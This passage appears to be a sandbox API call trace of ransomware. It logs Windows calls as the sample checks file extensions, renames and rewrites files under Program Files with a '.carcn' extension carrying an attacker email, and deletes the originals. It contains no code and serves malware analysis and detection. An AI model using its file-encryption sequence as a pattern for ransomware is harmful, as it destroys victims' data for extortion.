returned 1 [0254.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0254.414] lstrlenW (lpString=".zip") returned 4 [0254.414] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.414] lstrlenW (lpString=".rar") returned 4 [0254.414] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.414] lstrlenW (lpString=".bz2") returned 4 [0254.414] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.414] lstrlenW (lpString=".7z") returned 3 [0254.414] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0254.414] lstrlenW (lpString=".dbf") returned 4 [0254.414] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0254.414] lstrlenW (lpString=".1cd") returned 4 [0254.414] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0254.415] lstrlenW (lpString=".jpg") returned 4 [0254.415] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.415] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0254.415] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32 [0254.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.415] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=19136) returned 1 [0254.415] CloseHandle (hObject=0x3d0) returned 1 [0254.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x20 [0254.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0254.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0254.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0254.416] lstrlenW (lpString=".doc") returned 4 [0254.416] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.416] lstrlenW (lpString=".docx") returned 5 [0254.416] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0254.416] lstrlenW (lpString=".pdf") returned 4 [0254.416] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.416] lstrlenW (lpString=".xls") returned 4 [0254.416] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.416] lstrlenW (lpString=".xlsx") returned 5 [0254.416] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0254.416] lstrlenW (lpString=".ppt") returned 4 [0254.416] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0254.416] lstrlenW (lpString=".zip") returned 4 [0254.416] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.416] lstrlenW (lpString=".rar") returned 4 [0254.417] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.417] lstrlenW (lpString=".bz2") returned 4 [0254.417] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.417] lstrlenW (lpString=".7z") returned 3 [0254.417] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0254.417] lstrlenW (lpString=".dbf") returned 4 [0254.417] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0254.417] lstrlenW (lpString=".1cd") returned 4 [0254.417] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0254.417] lstrlenW (lpString=".jpg") returned 4 [0254.417] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0254.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0254.417] lstrlenW (lpString=".doc") returned 4 [0254.417] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.417] lstrlenW (lpString=".docx") returned 5 [0254.417] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0254.417] lstrlenW (lpString=".pdf") returned 4 [0254.417] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.417] lstrlenW (lpString=".xls") returned 4 [0254.418] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.418] lstrlenW (lpString=".xlsx") returned 5 [0254.418] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0254.418] lstrlenW (lpString=".ppt") returned 4 [0254.418] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0254.418] lstrlenW (lpString=".zip") returned 4 [0254.418] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.418] lstrlenW (lpString=".rar") returned 4 [0254.418] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.418] lstrlenW (lpString=".bz2") returned 4 [0254.418] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.418] lstrlenW (lpString=".7z") returned 3 [0254.418] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0254.418] lstrlenW (lpString=".dbf") returned 4 [0254.418] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0254.418] lstrlenW (lpString=".1cd") returned 4 [0254.418] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0254.418] lstrlenW (lpString=".jpg") returned 4 [0254.418] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.418] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0254.418] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0254.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.420] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=18624) returned 1 [0254.420] CloseHandle (hObject=0x3d0) returned 1 [0254.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20 [0254.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0254.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0254.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0254.420] lstrlenW (lpString=".doc") returned 4 [0254.420] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.420] lstrlenW (lpString=".docx") returned 5 [0254.420] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0254.420] lstrlenW (lpString=".pdf") returned 4 [0254.420] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.420] lstrlenW (lpString=".xls") returned 4 [0254.420] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.420] lstrlenW (lpString=".xlsx") returned 5 [0254.420] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0254.420] lstrlenW (lpString=".ppt") returned 4 [0254.420] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0254.421] lstrlenW (lpString=".zip") returned 4 [0254.421] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.421] lstrlenW (lpString=".rar") returned 4 [0254.421] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.421] lstrlenW (lpString=".bz2") returned 4 [0254.421] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.421] lstrlenW (lpString=".7z") returned 3 [0254.421] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0254.421] lstrlenW (lpString=".dbf") returned 4 [0254.421] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0254.421] lstrlenW (lpString=".1cd") returned 4 [0254.421] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0254.421] lstrlenW (lpString=".jpg") returned 4 [0254.421] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0254.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0254.421] lstrlenW (lpString=".doc") returned 4 [0254.421] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.421] lstrlenW (lpString=".docx") returned 5 [0254.421] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0254.421] lstrlenW (lpString=".pdf") returned 4 [0254.422] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.422] lstrlenW (lpString=".xls") returned 4 [0254.422] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.422] lstrlenW (lpString=".xlsx") returned 5 [0254.422] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0254.422] lstrlenW (lpString=".ppt") returned 4 [0254.422] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0254.422] lstrlenW (lpString=".zip") returned 4 [0254.422] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.422] lstrlenW (lpString=".rar") returned 4 [0254.422] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.422] lstrlenW (lpString=".bz2") returned 4 [0254.422] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.422] lstrlenW (lpString=".7z") returned 3 [0254.422] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0254.422] lstrlenW (lpString=".dbf") returned 4 [0254.422] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0254.422] lstrlenW (lpString=".1cd") returned 4 [0254.422] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0254.422] lstrlenW (lpString=".jpg") returned 4 [0254.422] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.423] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0254.423] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0254.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.423] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=11616) returned 1 [0254.423] CloseHandle (hObject=0x3d0) returned 1 [0254.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20 [0254.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0254.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0254.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0254.425] lstrlenW (lpString=".doc") returned 4 [0254.425] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.425] lstrlenW (lpString=".docx") returned 5 [0254.425] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0254.425] lstrlenW (lpString=".pdf") returned 4 [0254.425] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.426] lstrlenW (lpString=".xls") returned 4 [0254.426] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.426] lstrlenW (lpString=".xlsx") returned 5 [0254.426] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0254.426] lstrlenW (lpString=".ppt") returned 4 [0254.426] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0254.426] lstrlenW (lpString=".zip") returned 4 [0254.426] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.426] lstrlenW (lpString=".rar") returned 4 [0254.426] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.426] lstrlenW (lpString=".bz2") returned 4 [0254.426] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.426] lstrlenW (lpString=".7z") returned 3 [0254.426] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0255.535] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0255.710] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0260.027] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0260.027] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.027] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.027] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0260.028] GetLastError () returned 0x0 [0260.028] ReadFile (in: hFile=0x4c0, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x278, lpOverlapped=0x0) returned 1 [0260.032] WriteFile (in: hFile=0x4c4, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x280, lpOverlapped=0x0) returned 1 [0260.033] ReadFile (in: hFile=0x4c0, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0260.034] WriteFile (in: hFile=0x4c4, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xe2, lpOverlapped=0x0) returned 1 [0260.034] SetEndOfFile (hFile=0x4c4) returned 1 [0260.034] CloseHandle (hObject=0x4c4) returned 1 [0260.036] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.036] SetEndOfFile (hFile=0x4c0) returned 1 [0260.044] CloseHandle (hObject=0x4c0) returned 1 [0260.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0260.045] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 1 [0260.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0260.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0260.046] lstrlenW (lpString=".doc") returned 4 [0260.046] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1 [0260.046] lstrlenW (lpString=".docx") returned 5 [0260.046] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1 [0260.046] lstrlenW (lpString=".pdf") returned 4 [0260.046] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1 [0260.046] lstrlenW (lpString=".xls") returned 4 [0260.047] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1 [0260.047] lstrlenW (lpString=".xlsx") returned 5 [0260.047] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1 [0260.047] lstrlenW (lpString=".ppt") returned 4 [0260.047] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1 [0260.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0260.047] lstrlenW (lpString=".zip") returned 4 [0260.047] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1 [0260.047] lstrlenW (lpString=".rar") returned 4 [0260.047] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1 [0260.047] lstrlenW (lpString=".bz2") returned 4 [0260.047] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1 [0260.047] lstrlenW (lpString=".7z") returned 3 [0260.047] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0260.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0260.047] lstrlenW (lpString=".dbf") returned 4 [0260.047] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1 [0260.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0260.047] lstrlenW (lpString=".1cd") returned 4 [0260.047] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1 [0260.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0260.047] lstrlenW (lpString=".jpg") returned 4 [0260.047] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1 [0260.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0260.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0260.048] lstrlenW (lpString=".doc") returned 4 [0260.048] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1 [0260.048] lstrlenW (lpString=".docx") returned 5 [0260.048] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1 [0260.048] lstrlenW (lpString=".pdf") returned 4 [0260.048] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1 [0260.048] lstrlenW (lpString=".xls") returned 4 [0260.048] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1 [0260.048] lstrlenW (lpString=".xlsx") returned 5 [0260.048] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1 [0260.048] lstrlenW (lpString=".ppt") returned 4 [0260.048] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1 [0260.048] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0260.048] lstrlenW (lpString=".zip") returned 4 [0260.048] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1 [0260.048] lstrlenW (lpString=".rar") returned 4 [0260.048] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1 [0260.048] lstrlenW (lpString=".bz2") returned 4 [0260.048] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1 [0260.048] lstrlenW (lpString=".7z") returned 3 [0260.048] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0260.048] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0260.048] lstrlenW (lpString=".dbf") returned 4 [0260.048] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1 [0260.048] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0260.048] lstrlenW (lpString=".1cd") returned 4 [0260.049] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1 [0260.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0260.049] lstrlenW (lpString=".jpg") returned 4 [0260.049] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1 [0260.049] lstrcmpiW (lpString1=".pf", lpString2=".carcn") returned 1 [0260.049] lstrlenW (lpString="LINEAR_RGB.pf") returned 13 [0260.049] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0260.063] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=1044) returned 1 [0260.063] CloseHandle (hObject=0x4b4) returned 1 [0260.063] GetFileAttributesW (lpFileName="C:\\Program 